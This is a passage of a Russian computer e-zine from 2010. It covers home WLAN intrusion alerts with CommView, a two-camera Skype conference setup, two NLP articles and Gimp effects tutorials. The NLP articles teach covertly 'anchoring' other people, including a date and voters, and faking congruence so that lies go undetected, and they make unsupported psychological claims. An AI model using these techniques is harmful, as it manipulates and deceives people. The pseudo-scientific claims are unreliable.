e-mail адреса получателя, надо прописать UIN@pager.icq.com, где UIN – номер твоего IСQ. Правда я эту возможность проверить не смог, так как банально не нашел в своем QIP Infium пункта «Разрешить EmailExpress messenger», который необходимо установить для работы этой функции. Завершив настройки, переходим к настройкам предупреждения, нажав кнопку «Добавить». Некоторые типы событий, при которых будет вызвано предупреждение, очень похожи на рассмотренные нами правила захвата, так что сориентироваться здесь будет легко. Сигнал может быть подан при обнаружении пакета, который подходит под указанную формулу; при превышении указанного уровня загрузки сети; или при возникновении в сети устройств с неизвестными MAC или IP-адресами, а так же точек доступа и одно ранговых сетей. Рассмотрим следующий пример, показанный на рисунке.

При появлении в эфире устройства, MAC-адрес которого не занесен в список, на экран будет выведено соответствующее сообщение. Оно так же будет отправлено на указанный e-mail. Порог срабатывания установлен в единицу. Можно поставить и больше, если рядом с твоей WLAN иногда могут проходить люди с КПК. Не отвлекаться же на прохожих, которые и не собирались трогать твою сеть. После срабатывания предупреждения, оно отключается. Если есть вероятность, что в твою сеть хотят проникнуть несколько персон с разных девайсов, то можно увеличить это значение. При выводе сообщения используется текст вместе с переменной %SMAC%, в которой будет записан MAC-адрес источника пакета. Посмотрим, что получится, если в нашей сети окажется посторонний.

112


vr-online.ru

март 2010

Как видно, мы получаем достаточно понятное сообщение, что в нашей сети появился посторонний с таким то маком. Это же сообщение будет отправлено нам на почту. А еще данное действие вызвало запись пакетов, ведь мы это установили в настройках предупреждения ранее. Так что теперь все действия непрошенного гостя будут записываться. Мало того, что наша сеть зашифрована, так ее работа вдобавок и мониторится. Чего еще можно желать? А если ты уехал в другой город, и возникла необходимость посмотреть, что творится с

113


vr-online.ru

март 2010

твоей сетью? Или сетью, какой либо фирмы, компании, или просто твоего знакомого, который не разбирается в сетевых технологиях. Спешу тебя обрадовать, у нас есть возможность удаленно получать данные, о работе WLAN, находящейся под наблюдением. Давай посмотрим на рисунок, наглядно показывающий, как это будет работать. На анализатор ставиться специальная программа CommView Remote Agent for WiFi. Теперь она будет служить анализатором WLAN. На удаленном компьютере устанавливается обычный CommView for WiFi, при помощи которого мы подключаемся к анализатору и наблюдаем перехватываемый трафик так, как будто наш локальный. Установка CommView Remote Agent for WiFi очень проста, как и ее настройка, где необходимо будет указать порт и пароль для подключения. Дальше эта программа будет работать в фоновом режиме. При необходимости можно просмотреть некоторые данные о соединении, вызвав следующее окно

Теперь на удаленном компьютере, запустив CommView for WiFi, нажимаем Ctrl+E, тем самым вызываем меню для работы с агентом. Устанавливаем новое соединение, указываем IP-адрес анализатора, канал для мониторинга и пароль для подключения. Теперь, мы можем наблюдать за нашей сетью, как за локальной.

Систему, что мы сейчас настроили, вряд ли можно назвать полноценной системой обнаружения вторжений (IDS - Intrusion Detection Systems). Но она вполне может помочь защитить нашу WLAN от непрошенных гостей. Сейчас беспроводные сети активно начинают применяться даже в маленьких городах. Поэтому, построение таких систем мониторинга беспроводных сетей, возможно, будет приобретать все большее значение.

114


vr-online.ru

март 2010 Роман Костенко aka Lord_of_fear

Делаем видеоконференцию. Часть 2 Категорически тебя приветствую! :) Вот и собрался, наконец, я с силами поведать тебе о том, как можно сделать качественную видеоконференцию без больших затрат. В прошлой статье я рассказал как решил вопрос с микрофонами. Это был самый простой шаг. Теперь о том, что посложнее – видео. Первой моей покупкой стала веб-камера Genius i-Slim 2000.

Её характеристики: Интерфейс - USB 2.0 Тип сенсора - 2 Мп (CMOS сенсор) Фокусное расстояние – от 10 см до бесконечности Тип линзы - Автофокус Микрофон – Встроенный Формат файла - JPEG / WMV Фото - 3360 x 2520 (8 Мп, интерполяция), 1600 x 1200, 1280 x 960, 640 x 480, 352 x 288, 320 x 240, 176 x 144, 160 x 120 Видео - 1.3 Мп до 8 кадр/сек, 2 Мп до 6 кадр/сек Угол обзора - 45 градусов вверх, 90 градусов вниз

Достойный девайс! Автофокус, хороший угол обзора, отличная чувствительность микрофона. Но от неё пришлось отказаться, т.к. охватить всех участников видеоконференции эта камера оказалась не в состоянии. Мне нужно по меньшей мере две камеры. И начал я гуглить. Случайно я наткнулся на статью об использовании 2-х камер в Skype. Предлагалось использовать

115


vr-online.ru

март 2010

IP камеры и бесплатную утилиту VH Multi Camera Studio. Эта софтина создаёт виртуальный девайс в системе, который потом в Скайпе можно выбрать как источник видеосигнала. Эта идея меня заинтересовала и я стал подбирать IP камеры. Выбор пал на беспроводную модель камер m1011 от AXIS.

Характеристики:

Матрица - RGB VGA CMOS с прогрессивной разверткой, размером 1/4’’ (6,35 мм) Объектив - 4,4 мм, Ф 2,0, постоянная диафрагма, постоянная фокусировка Горизонтальный угол обзора - 47° Минимальная освещенность - 1 люкс, F2,0 Форматы сжатия - H.264; Motion JPEG; MPEG-4 Part 2 (ISO/IEC 14496-2) Разрешение - От 640x480 до 160x120 Частота кадров H.264 - 30 кадров/с для всех разрешений Частота кадров Motion JPEG - 30 кадров/с для всех разрешений Частота кадров MPEG-4 Part 2 - 30 кадров/с для всех разрешений Потоковое видео - Многопоточные: H.264, Motion JPEG и MPEG-4 Part 2 H.264/MPEG-4 Part 2: 1 видеопоток при полной частоте кадров и разрешении Motion JPEG: 2 индивидуально сконфигурированных потока данных при полной частоте кадров и разрешении. Большее число потоков либо со сжатием идентичных потоков, либо с ограничением частоты кадров/ разрешения. Управляемые частота кадров и полоса пропускания VBR/CBR H.264 & MPEG-4 Part 2

Хотел сначала заказать их у себя в городе, но когда узнал, что у нас магазины за такой девайс хотят от 10 до 12 тысяч наших деревянных, то оставил эту идею. В результате заказал две камеры через интернет по цене 7200р за каждую.

116


vr-online.ru

март 2010

Вместе с камерами прошлось покупать в нагрузку Wi-Fi роутер D-Link Wl-520GC. Обошёлся он мне, если не изменяет память, в 1400 рублей. Вот оно всё вместе:

117


vr-online.ru

март 2010

Первым делом я подключил каждую камеру к сети через Ethernet и с помощью удобного вебинтерфейса установил пароль на доступ к настройкам камеры, пароль для коннекта к роутеру и назначил статический IP адрес. Настройка роутера заняла чуть больше времени. Всё делается так же через веб-интерфейс. Установил метод аутентификации и пароль для доступа к роутеру для беспроводного коннекта:

Я помешан на секьюрности, поэтому для большей безопасности ручками указал MAC-адреса девайсов, которые могут подключаться к роутеру. Как ты уже понял, это – маки моих IP-камер:

118


vr-online.ru

март 2010

Затем назначил роутеру статический IP из моей локальной сети:

Следующим шагом я отключил фаервол, т.к. роутер будет работать только в моей локальной сети. И не забыл про DHCP сервер. С ним тоже пришлось расстаться :) Затем зашёл на свой DHCP сервер и зарезервировал эти 3 IP-шника (2 камеры + роутер). Ибо есть вероятность, что DHCP может дать эти адреса кому-нить из пользователей после окончания аренды. Теперь всё готово. По сути во всём проделанном нет ничего сложного. Всё понятно и логично. Итак, камеры стали доступны в локальной сети и их изображение можно запросто просмотреть через веб.

119


vr-online.ru

март 2010

Пол дела сделано. И даже жахнуть 100 грамм не пришлось. А ведь иногда без бутылки не разобраться ;) Можно сетапить VH Multi Camera Studio. Программа, судя по описанию, обладает таким функционалом :

Т.е. имеется возможность на одном экране расположить видео из нескольких источников. Как раз то, что нужно! Нашёл, качнул, поставил. Долго плевался и матерился. Такого говнософта я давно не видел. Как я ни колдовал, ни танцевал с бубном, ни читал молитву программиста, ничего не получилось. Не захотела софтина напрямую подхватывать с камер ни видео в формате Motion JPEG, ни в MPEG-4, хотя девелопер на своем сайте утверждает обратное. Пара часов мучений и я сдался… Пришлось вернуться к началу. После 30 минут поисков мой взгляд привлекла программа WebCamXP. Небольшое описание: Программа для работы с веб-камерами (поддерживает до 10 камер), позволяющая предоставить доступ к вашей камере (вернее, к видеопотоку) любому пользователю без установки на компьютер специального серверного программного обеспечения. Довольна проста в настройке: в Webcam XP Pro имеются все необходимые утилиты, поэтому потребуется настроить всего несколько параметров, а именно указать порт сервера и путь к локальной директории. Кроме видеокартинки, получаемой с веб-камер, можно использовать видео, которое передаётся по локальной сети.

120


vr-online.ru

март 2010

И тут мне пришла такая мысль в голову – пусть WebCamXP подхватывает видеопоток с камер, а VH Multi Camera Studio получает видео от WebCamXP. Всё получилось и я с удовольствием налил себе горячего чая :) Теперь надо тестить! Кому бы позвонить по скайпу? Ну, конечно же, коллеге по цеху Антонову Игорю. И тут меня ждал провал. Компьютер (Celeron 2,7 Ггц), что я поставил в конференцзал, аж подвис при этом звонке. Оказалось, что VH Multi Camera Studio даёт неимоверную нагрузку на процессор. Мда… засада :( Тут я вспомнил, что есть у меня в запасе ещё один старенький комп немного помощнее. К моему разочарованию, одноядерный Pentium 4 3,0 Ггц так же не справился с поставленной задачей. Затем потестил на своей рабочей машине (AMD Athlon II X2 255). Всё гуд. Тянет. Покупать для конференции новое железо? Решил, что не стоит…. Стал думать дальше… Решение пришло сразу после того, как начал ковыряться в настройках WebCamXP. Оказалось, что в нём есть свой веб-сервер для вещания видео в своей сети. А что если во время конференции собеседник будет говорить через скайп, а видео смотреть в своей бродилке, вбив в адресной строке IP адрес моего шлюза? Идея! Для этого только на шлюзе нужно настроить проброс входящего http трафика до компа с WebCamXP. Так и поступил. Сразу же снёс за ненадобностью VH Multi Camera Studio. Веб-интерфес WebCamXP оказался очень простым и удобным для пользователя. Мне нужна была возможность просмотра сразу двух камер и она там имеется. Нужно только лишь нажать кнопочку “Multi View”. С тех пор так всё и работает… Хочется отметить, что WebCamXP тоже требователен к железу. А в частности, к процессору. Однако, значительно меньше, чем VH Multi Camera Studio. На этом всё, мой дорогой читатель. Удачи тебе и всего самого-самого. До встречи. VR с тобой! ;)

121


vr-online.ru

122

март 2010


vr-online.ru

март 2010 ZeroXor (WWW: http://zeroxor.ru)

Остановсиь, мгновенье! Якоря в НЛП Остановись, мгновенье! Ты прекрасно! Гете - “Фауст”

Как программа состоит из потока битов, флэш-ролик, да и всякий прочий видеоролик, состоит из кадров, так и наша жизнь – всего лишь поток мгновений, самых разнообразных событий, как приятных, так и не очень. И конечно же, иногда хочется вновь пережить некоторые уже случившиеся когда-то моменты. Скажете, это невозможно? Вот и нет – очень даже возможно. Мало того: сейчас мы разберемся не только с этим вопросом, но и с тем, каким образом можно это использовать по отношению к другим людям. Действительно, возможность “останавливать” приятные моменты, возвращаться к ним, вновь испытывать те же чувства и ощущения – все это кажется элементами какого-то научно-фантастического романа, но лично я неоднократно уже убеждался в том, что наша жизнь зачастую оказывается гораздо удивительнее, чем самая нереальная фантастика. В нашем случае есть лишь одно условие – чтобы иметь возможность вернуться в определенный момент жизни, нужно поставить на него закладку, чтобы вернуться на эту интересную страничку в будущем. Такая “закладка” в НЛП называется якорем, а процесс установки якоря, вполне логично, якорением. Якорение - процесс, посредством которого любой стимул или репрезентация (внешняя или внутренняя) оказывается связанной с некоторой реакцией и запускает ее проявление. Якоря могут возникать естественным образом и могут быть установлены намеренно.

На кого поставить якорь легче всего?

Здесь нет ничего сложного: лучше всего подвержены якорению люди с развитым правым полушарием мозга. Конечно же нельзя не добавить сюда людей творческих: поэтов, художников, музыкантов и иже с ними. Есть, конечно, люди, с которыми этот трюк проходит далеко не всегда, но сейчас не об этом. Давайте начнем с себя и сначала разберемся, зачем вообще нужны эти якоря, а затем научимся ставить их самим себе.

Зачем нужен якорь?

Ответ будет до банального прост: чтобы возвращаться в этот момент еще и еще, чтобы переживать те ощущения снова и снова. Это действительно очень похоже на создание закладок в браузере – нужно затем, чтобы не потерять интересный материал, который захочется перечитать впоследствии. Возможно, Вам все еще не верится, что все эти якоря – не выдумка для доверчивых людей, а действительно работающий метод. Что ж, я со своим рациональным мышлением тоже довольно долго не мог в это поверить. Это уже позже я нашел один аргумент, который не встречал ни в одном материале по технике якорения. Суть его вот в чем – самые сильные впечатления откладываются в нашем подсознании помимо нашего желания, а в будущем эти воспоминания и ощущения могут вернуться, стоит лишь оказаться в

123


vr-online.ru

март 2010

похожей обстановке/выполнить действия, аналогичные тем, что Вы делали в той, памятной, ситуации. Это и есть якорь, который был установлен без нашего желания, был установлен подсознательно. Итак, якорение – это факт, больше чем уверен, что Вы и сами можете найти у себя несколько подсознательно поставленных “закладок”. И, думаю, будет совсем неплохо, если этот мощный механизм мы с Вами поставим себе на службу. Согласны? Ok, приступим.

Определяем основной канал восприятия

Для начала нужно выяснить, какой из каналов восприятия информации является для Вас основным. Чтобы якорь был наиболее действенным, его нужно ставить именно через этот канал. Естественно, якоря, установленные по другим каналам, также будут работать, но делать это они будут не так эффективно (а нам для первой попытки нужно выжать максимум для того, чтобы этот якорь работал. Это в дальнейшем, когда Вы сами убедитесь в их работоспособности, сомнения развеются, а сейчас – определяем самый широкий канал восприятия, именно на него и будет ставиться первый сознательный якорь). О каналах восприятия мы уже говорили здесь и здесь, поэтому повторяться не будем.

“Загружаем страницу”

Теперь самая приятная часть нашего процесса: нужно найти те самые позитивные эмоции, которые мы будем якорить. Что нужно для этого сделать? - спросите Вы. А все просто – поместить себя в ту атмосферу, в которой Вам будет хорошо. Для кого-то это – сходить на концерт (симфонический или рок-концерт – выбирайте по вкусу), может быть, собрать друзей и выбраться на природу. Главное, чтобы позитивных эмоций было много, чтобы Вы находились в состоянии некоей эйфории. Кстати, достигать этого состояния с помощью алкоголя очень не рекомендую, потому как то состояние, в котором Вы рискуете оказаться наутро, может напрочь убить весь позитив.

Ставим якорь

Итак, Вы достигли нужного состояния, “дошли до кондиции”, зарядились энным немалым количеством позитива. Готов поспорить, сейчас Вы весьма довольны... причем, довольны всей окружающей

124


vr-online.ru

март 2010

обстановкой, окружающими людьми и собой тоже. Отлично! Теперь быстренько освежаем в памяти информацию о том, какой же канал восприятия – Ваш. Слух? Значит, прислушиваемся к тем мелодиям, которые звучат сейчас (на улице это вполне может быть щебет птиц или, например, шум автострады). Запахи? Запоминаем ароматы, распространяющиеся вокруг. Если используются какие-то благовония, можете поинтересоваться, как они называются. Кстати, никогда не помешает использовать несколько каналов восприятия одновременно. Попробуйте запомнить, это совсем несложно. Человек забывает лишь 10% из того, что он делал. Поэтому после того, как нужные эмоции и окружающая обстановка скачаны в мозг, закрепите этот “файл” каким-нибудь движением. Лично я, например, дотрагиваюсь до кольца на пальце или поворачиваю его. Жест простой, его легко будет повторить, но в то же время он не настолько привычен, как, например, скрещивание рук. Найдите то движение, которое Вы делаете не очень часто, но в то же время это самое движение не вызовет подозрений у окружающих. Не надо заворачиваться в рогалик: движение, действительно, редкое, но представьте, как на Вас посмотрят, когда Вы попытаетесь проделать такое в толпе прохожих.

Активация якоря

После того, как якорь установлен, Вы можете в любое время обратиться к нему, снова пережить те приятные ощущения (вряд ли кому-то захочется ставить якорь на негативные эмоции). Активировать якорь легко, выше я уже упоминал, что нужно снова воспроизвести жест, который делался при установке. Хотя, если человек психологически расположен к якорению, то достаточно и любого другого “раздражителя”. Я, например, поставил себе якорь на песню Nervnij – “Про кардеров”. Теперь, услышав ее, я автоматически ощущаю на языке покалывающий лимонно-апельсиновый вкус, легкое опьянение, прохладу вокруг и приятное чувство спокойствия на душе. А всего-то – песня, набор звуков.

Установка якоря другим людям

Вот и добрались до самых главных вкусняшек, хотя, согласитесь, умение заново переживать позитив самому – это тоже очень даже неплохо. В принципе, процедура якорения другого человека ничуть не отличается от установки якоря самим себе. Разница лишь в том, что основной канал восприятия собеседника определить сложнее, поэтому, для верности, атака ведется по всем фронтам. Давайте разберем на примере. Предположим, Вы пригласили девушку в хорошее уютное местечко (эй, эй, это я про ресторан или хороший паб говорю, а вовсе не про одноместную кровать в маленькой комнатке, заваленной старым железом, мы ведь девушку заряжаем позитивом), обстановка очень даже располагающая к тому, чтобы расслабиться. В ходе разговора как будто невзначай можно привлечь ее внимание к музыке (грузим аудиальный канал восприятия), заметить, что пламя свечи иногда подрагивает или, например, “как красиво играют пузырьки шампанского, интересно, на вкус это так же хорошо?”. В случае с шампанским Вы поднапрягаете ее зрение (пламя свечи) и заставляете попробовать вино на вкус, тем самым акцентируя ее внимание еще и на вкусе. Ну, и кто мешает в такой непринужденной обстановке поправить ей локон, мол, “а мне нравится, как в твоих глазах пламя свечи играет, а тут локон этот”. А что же в результате? А в результате, помимо хорошо проведенного вечера и потраченных денег (девушки – они такие, все равно тратиться придется) мы поставили якорь, завязанный не только на приятную атмосферу, но и на того, кто эту атмосферу ей создал. Ну и кто ей вспомнится, когда она захочет поправить растрепавшийся локон? Угадайте с трех раз и ни разу не ошибитесь. Естественно, это был лишь пример, а не четкий алгоритм, которому нужно слепо следовать. Ситуаций и вариантов (кстати, и объектов для якорения) может быть великое множество.

125


vr-online.ru

март 2010

Якорение без личного контакта. Продолжаем играть в ассоциации

При “живом” якорении, то бишь, непосредственном Вашем общении с предполагаемой “жертвой” эффект якоря получается гораздо выше, чем без этого самого контакта. Но даже не имея возможности личной встречи, Вы можете провернуть это “грязное дело”. Метод все тот же – нужно связать между собой позитив “жертвы” и себя. И вот вам еще пример. В одном небольшом городке человек баллотировался на пост мэра города (каюсь не помню, что это был за город и что за человек – если встречу где еще этот пример – обязательно сообщу). Человек неизвестный, нигде раньше не “засвеченный”, не замешанный ни в каких скандалах, но и ничего полезного не сделавший. Понятно, что начни он давать обещания, говорить “вы изберите меня, а я сделаю хорошо всем” - результат будет практически нулевой, на подобные заявления у нас уже выработался четкий отрицательный рефлекс. Поэтому он пошел другим путем. В газетах стали появляться небольшие публикации с его фотографией, в этих самых публикациях не было ни восхваления его, ни обливания грязью других – были лишь небольшие выдержки из его биографии, какие-то ситуации, случавшиеся с ним. А появлялись эти публикации на тех страницах газет, на которых были позитивные публикации (тяжело больной ребенок идет на поправку/в ходе спецоперации все заложники были спасены, потерь нет и т.п.). В результате, после нескольких прочитанных публикаций избиратель уже знал, что это за человек (текст заметок), а значит, уже появлялось доверие. Кроме того, проводилась неосознаваемая людьми связь – там, где есть этот человек, все хорошо (эмоции после прочтения находящихся рядом заметок). Как результат – победа на выборах, здесь якорь был поставлен на его фото и сочетание букв, образующих фамилию этого кандидата. Понятное дело, что публикация была не одна, на расстоянии якорь устанавливается гораздо хуже и его обязательно нужно было закрепить в умах людей, что, собственно, и было успешно проделано.

Снимаем якорь

Ничто не вечно, а уж маленькая закладочка в глубинах подсознания – тем более. Да-да, якоря имеют свойство затираться в памяти. Удаление якоря может быть как естественным, так и искусственным.

Естественное стирание якоря

Не зря говорят – время лечит. А если точнее, время снова и снова активирует якоря (как правило, негативные, поставленные бессознательно). И человек может заметить, что с каждым разом ощущения, вызываемые активацией, становятся все слабее, а в итоге совсем сходят на нет. Вспомним пример с девушкой в ресторане: если поправлять локон – ее привычка, то воспоминание о Вас очень быстро сотрется из ее подсознания. Потому я и советовал применять жест, который используется не очень часто.

Искусственное стирание якоря

В том случае, если мы знаем, что имеется некий якорь, который весьма и весьма мешает нам радоваться жизни – его можно затереть и специально. Принцип действия тот же, что и у естественного затирания – нужно активировать и активировать якорь, постоянно притупляя вызываемый негатив. Дополнительно можно поставить позитивный якорь, связав его с теми же внешними воздействиями. В этом случае будет происходить активация сразу двух якорей и негатив будет сглаживаться позитивом, а это переносится уже гораздо легче, особенно если отрицательная эмоция была очень сильной. Якорь уменьшает свою силу при каждой активации, независимо от нас. Для того, чтобы сохранять его силу, нужно просто периодически “подзаряжать” его свежеполученными позитивными эмоции. Ну и, естественно, сила якорения будет зависеть от силы эмоционального фона, на который ставится якорь, а также от ширины каналов восприятия, через которые этот якорь был установлен. Что-то я разошелся... а ведь так и не сказал очень многого из того, что хотел. Ну да ничего, в следующих статьях мы с Вами обязательно продолжим раскапывать наше сознание и учиться его программировать. Поверьте, дальше будет еще интереснее. До скорого.

126


vr-online.ru

март 2010 ZeroXor (WWW: http://zeroxor.ru)

Конгруэнтность или как

притворяться правильно

В современном мире есть много, даже очень много всяческих длинных заумных слов и прочих наукообразных терминов. Скажу честно, над заголовком к этой статье я ломал голову часа полтора, пытаясь одно из таких слов из него выбросить. Вы уже, конечно, догадались, что слово это “конгруэнтность”. Слово было оставлено только лишь в надежде на то, что читать этот материал будут люди умные, которые мало того, что могут выговорить слова вроде “инкапсуляция” и “полиморфизм”, они еще и знают, что эти слова обозначают. А вообще-то конгруэнтность – это всего-навсего соответствие между различной (вербальной и невербальной) информацией, передаваемой человеком в один и тот же момент времени. Давайте сразу разберем небольшой пример. Представьте, что Ваш собеседник уверяет, что то, о чём Вы ему говорите очень важно и практически жизненно необходимо. Он буквально клянется в вечном доверии и готовности к сотрудничеству. Вот только при всем этом, Вы можете обратить внимание, что его руки жестко сцеплены между собой, а то и вовсе скрещены на груди, что явно говорит о его настороженности по отношению к Вам в общем и Вашим словам в частности. Все, сигнал явно неконгруэнтен, то есть мы можем наблюдать явное несоответствие между его речью и жестами. Делаем вывод – где-то както этот человек пытается нас обмануть. Причем, в вышеупомянутом случае, обманом наверняка окажутся слова. Почему? Да потому, что речь человек тренирует, начиная с раннего детства и продолжает это делать на протяжении всей жизни. А вот невербалику, то бишь жесты и мимику, специально тренируют далеко не все, потому-то именно это и выдает попытку обмана. О жестах мы еще поговорим более детально и обстоятельно, но здесь, на всякий «пожарный», скажу, что скрещенные руки – это признак закрытости, защиты, таким образом человек ставит своеобразный психологический блок, закрываясь от входящей информации. Еще один факт: неконгруэнтность далеко не всегда осознается тем человеком, который выдает такой сигнал, зато очень даже хорошо улавливается его собеседником. Особенно хорошо неконгруэнтный сигнал распознается женщинами, причем для этого им не нужны тренировки, этот “датчик” заложен в их подсознании. Так уж они устроены, против природы не поспоришь.

А, может, всегда говорить только правду?

Если Вы, уважаемый читатель, дочитав до этого места, задали себе этот вопрос, то могу сказать лишь одно – мой Вам респект и уважение. Я же неоднократно убеждался в том, что в некоторых моментах жизни правда не всегда бывает полезной, порой требуется и схитрить. Нет, нет, я ни в коем случае не призываю жестко становиться на путь фальши и обмана, та информация, что я решил осветить здесь, как и любая информация может быть использована в различных целях. Например, можно применять эти знания для того, чтобы распознавать неконгруэнтные сигналы в общении с другими людьми, часто это помогает предотвратить дальнейшие проблемы. Впрочем, о неконгруэнтных сигналах и о том, как их распознавать мы поговорим в следующий раз, сегодня у нас с Вами другая задача.

127


vr-online.ru

март 2010

Уроки конгруэнтности. Как стать конгруэнтным

Точный рецепт достижения абсолютной конгруэнтности, пожалуй, дать не сможет никто: на сегодняшний день не существует такой формулы (хотя, может быть где-то в секретной лаборатории её и вывели, но просто не разглашают). В то же время, существуют и общеизвестные методики, позволяющие притворяться так, чтобы собеседник даже и не подумал ничего заподозрить. Для начала, как обычно, самонастройка. Попробуем поставить себе якорь или хотя бы попытаться запомнить состояние собственной конгруэнтности. Думаю, не стоит уточнять, что нужно нам это для того, чтобы вызывать это состояние в будущем, когда возникнет такая необходимость. Вызов состояния конгруэнтности чем-то схож с медитацией. Для начала вспоминаем ситуацию, в которой Вам было комфортно, легко и просто. Может быть, это было вчера, когда Вы дорабатывали программу, уткнувшись в монитор и «втыкая» в какую-нибудь медленную и лиричную музыкальную композицию, а, может быть, Вы были максимально естественным, когда на прошлых выходных отправились кататься на лыжах? Итак, вызовите в памяти ту ситуацию, в которой Вы максимально были сами собой. Можете не переживать, при общении с собеседником Вы все равно будете испытывать волнение и он не увидит полного “душевного обнажения” - будет как раз та самая разумная естественность. Поэтому во время тренировки эта самая “душевная обнаженка” просто необходима. Следующий шаг - сканирование. Запомните свои ощущения, попробуйте “просканировать” себя: свое тело до самой последней мышцы, насколько они расслаблены или напряжены, положение рук, ног. Стараясь не терять ощущения собственной конгруэнтности, вспомните свои чувства, мысли в тот момент, который вызвали в памяти. Переживите эти чувства еще раз, с той лишь разницей, что теперь их нужно не просто пережить, а постараться максимально точно запомнить. Согласен, звучит сложно, пожалуй, даже немного бредово. Действительно, “запомнить” - не совсем тот глагол, который нужен здесь, но более точного подобрать я не могу. Это “запоминание” - словно Вы в фоновом режиме сливаете данные с чужой флэшки на свой жесткий диск, чтобы потом снова и снова их просматривать. После того, как физические и психические ощущения были успешно сохранены, ставим якорь. Кстати, небольшая идея на будущее: когда будете находиться в естественной конгруэнтности, возьмите за правило «якорить» себя на это состояние, думаю, дополнительные позитивные якоря никогда не будут лишними.

Используем конгруэнтность. Притворяемся правильно

Вот и добавили мы еще одну утилиту в свой арсенал психологических приемов, но, как мы с Вами знаем, любая тулза бесполезна и даже вредна, если не уметь ей пользоваться. Ну а пользоваться нашим свежеполученным инструментом, в общем-то, вовсе даже несложно. Самое главное – перед началом разговора обязательно активируйте свое состояние конгруэнтности. Как я уже говорил, это состояние не будет копией того, которое Вы оттачивали дома, все равно обстоятельства вынудят “надеть маску”. Разница лишь в том, что теперь Вы уже знаете, как выглядите и что чувствуете, находясь в конгруэнтном состоянии, значит, сможете контролировать свои жесты, скорость и громкость речи и всю прочую невербалику. Как правило, при разговоре с другим человеком основной задачей является представление себя максимально естественным и спокойным. Отработка навыков конгруэнтности позволит Вам решать эту задачу легко и непринужденно, что бы Вы ни говорили. И все равно – старайтесь не завираться, потому что большая ложь легче всего выводится на чистую воду, а потерять доверие – значит, фактически потерять собеседника. Будем притворяться, но – в меру.

128


vr-online.ru

март 2010

129


vr-online.ru

март 2010 Петрикин Андрей aka Zanuda25 (petr.and.vic@gmail.com)

Gimp. Пламя в космосе Этой статьей хочу показать одному моему оппоненту в споре насчет того, какой графический редактор лучше: Photoshop или Gimp. Он утверждал, что кое-какие фильтры отсутствуют в Gimp’е, но я ему доказывал, что он не прав, в Gimp’e очень много фильтров, которые позволяют сразу получить те или иные эффекты, не прибегая к многочисленным операциям со слоями... Но не будем лить воды в этой статье, а сразу перейдем к делу. Итак, поехали... Графический редактор Gimp абсолютно бесплатен и его можно скачать с его официального сайта: http://www.gimp.org/downloads/. Со установкой не должно быть проблемы...

Шаг 1 Запускай графический редактор Gimp. Создай новый холст (Файл > Создать, или Ctrl + N). Оставить размер холсты по умолчанию(640x480), если не так, то измени размер. Нажми клавишу Х, чтоб в окне инструментов цвет переднего фона стал черным, а задний ­– белый. Перетащи черный цвет переднего фона на холст.

Рис. 1 Создание нового холста

Шаг 2 Откройте фильтр “Бросок”(Фильтры > Шум > Бросок). Задай следующие параметры: 1. Случайное зерно = 10; 2. Случайность = 70%; 3. Повтор = 11. Нажми кнопку ОК, тем самым ты применил этот фильтр к твоему холсту. Сделай вашу работу черно-белой с помощью Цвет > Обесцветить (ставь на Осветление точку), потом открой диалог “Уровни” (Цвет >Уровни) и настрой Уровни на входе так, как показано на рис. 2.

130


vr-online.ru

март 2010

Рис. 2. Настройка Уровней

Шаг 3 Продублируй этот слой(Слой > Продублировать слой). Щелкни на оригинальном слое, чтоб сделать его активным. Внимание: если окно “Слои” отсутствует, то его можно включить через Окна > Панели > Слои. Открой фильтр Гауссово размывание(Фильтры > Размывание > Гауссово размывание) и задай параметр “Радиус размывания” = 0,5 и примени фильтр (рис. 3). Щелкни на втором слое и переведи его в режим “Добавление”. Осталось только слить слои воедино при помощи Слой > Объединить с предыдущим.

Рис. 3. Применение фильтра

131


vr-online.ru

март 2010

Шаг 4

Выдели несколько овальных областей (при нажатой клавиши Shift новая область добавится к предыдущим). Растушуй их на 10-35 точек (Выделение > Растушевать). Потом открой фильтр Искрение (Фильры > Свет и тень > Искрение). Ставь ползунки примерно так, как показано на рис. 4. Можешь потом снять выделение с помощью Ctrl + A.

Рис. 4 Настройка фильтра Искрение

Шаг 5

Нас ждет самое интересное впереди. Создай новый слой(Слой > Создать слой). Назови его: Flame и ставь на прозрачный. Открой фильтр Пламя (Фильтры > Визуализация > Природа > Пламя).

Рис. 5 Настройка фильтра Пламя

132


vr-online.ru

март 2010

То, что видишь на рисунке 5, это всего лишь настройки. Вот нажми на кнопку “Изменить”…

Рис. 6 Выбор разновидностей фильтра Пламя Здесь в выпадающем списке ты выбираешь разновидности что-то вроде галактических туманностей. Выбрав себе по душе из 9 квадратов, показывавших самых раных «галактик», ты нажимаешь на понравившуюся тебе кнопку, тем самым ты применил фильтр к своей картинке… Кстати, чуть не забыл две вещи… На вкладке «Камера» ты можешь размещать галактику в удобное место твоего картинку, то есть хошь наверх, хошь в центре… На вкладке «Визуализация» ты контролируешь цвет, контраст и тому подобное, чтоб твоя галактика получилась сногшибательной… У меня вот что получилось…

133


vr-online.ru

март 2010

Поступь Хищника

Статья «Маски-шоу» заставила меня сесть за клавиатуру, чтоб написать статью… В Gimp можно вытворять такие вещи, как это было в Photoshop. Целью этой статьи является тот же самый результат, как и в статье «Маски-шоу»... Итак, поехали... [фраза не моя...] Помнишь, как в одном фильме про Хищника никто его не видит, только его выдает лишь водная поверхность, когда Хищник шагает к жертве. Вот попробуем подобное сотворить... Вот подготовил я для работы со слоями и масками две фотографии, над которыми будем ставить эксперименты творчества... Но учти, в “боевых условиях” тебе самому придется подгонять свои изображения для фотомонтажа... Всегда тебе помогут инструменты: вращения , искривления

и перспективы

, масштабирования

.

Фото 1

Фото 2 Чтобы открыть оба эти изображения, нужно вызвать меню через Файл > Открыть как слои и выбрать из списка сразу оба изображения. Потом сам подогни под необходимые размеры и перемести там, где надо... Вот что у меня получилось:

134


vr-online.ru

март 2010

Далее вызываем Быструю маску. Это можно сделать либо с помощью горячих клавиш Shift+Q, либо нажав на вот этот маленький значок, который находится в нижнем левом углу каждого окна с изображением

После этого все изображение у вас должно стать красным. Красный цвет - это и есть та маска. Он всего лишь помогает нам понять, какая часть изображения сейчас выделена. Изначально все изображение закрыто маской, и следовательно ничего не выделено. Теперь мы можем взять большую кисть с мягкими краями и начать убирать маску в тех местах изображения, где мы хотим иметь выделение. Только не забудь сделать следующие параметры кисти: Кисть = Circle Fuzzy (19); Масштаб = 10,00. Рисуют по маске используя оттенки серого, как правило только черный и белый цвета. При этом черным цветом рисуют маску, а белым цветом ее убирают. Попробуйте выделить лишь верхнюю часть изображения, а нижняя пускай остается под маской.

135


vr-online.ru

март 2010

Теперь переключаемся обратно в нормальный режим, нажав на том же значке быстрой маски или клавишами Shift+Q. Должно получиться вот такое выделение:

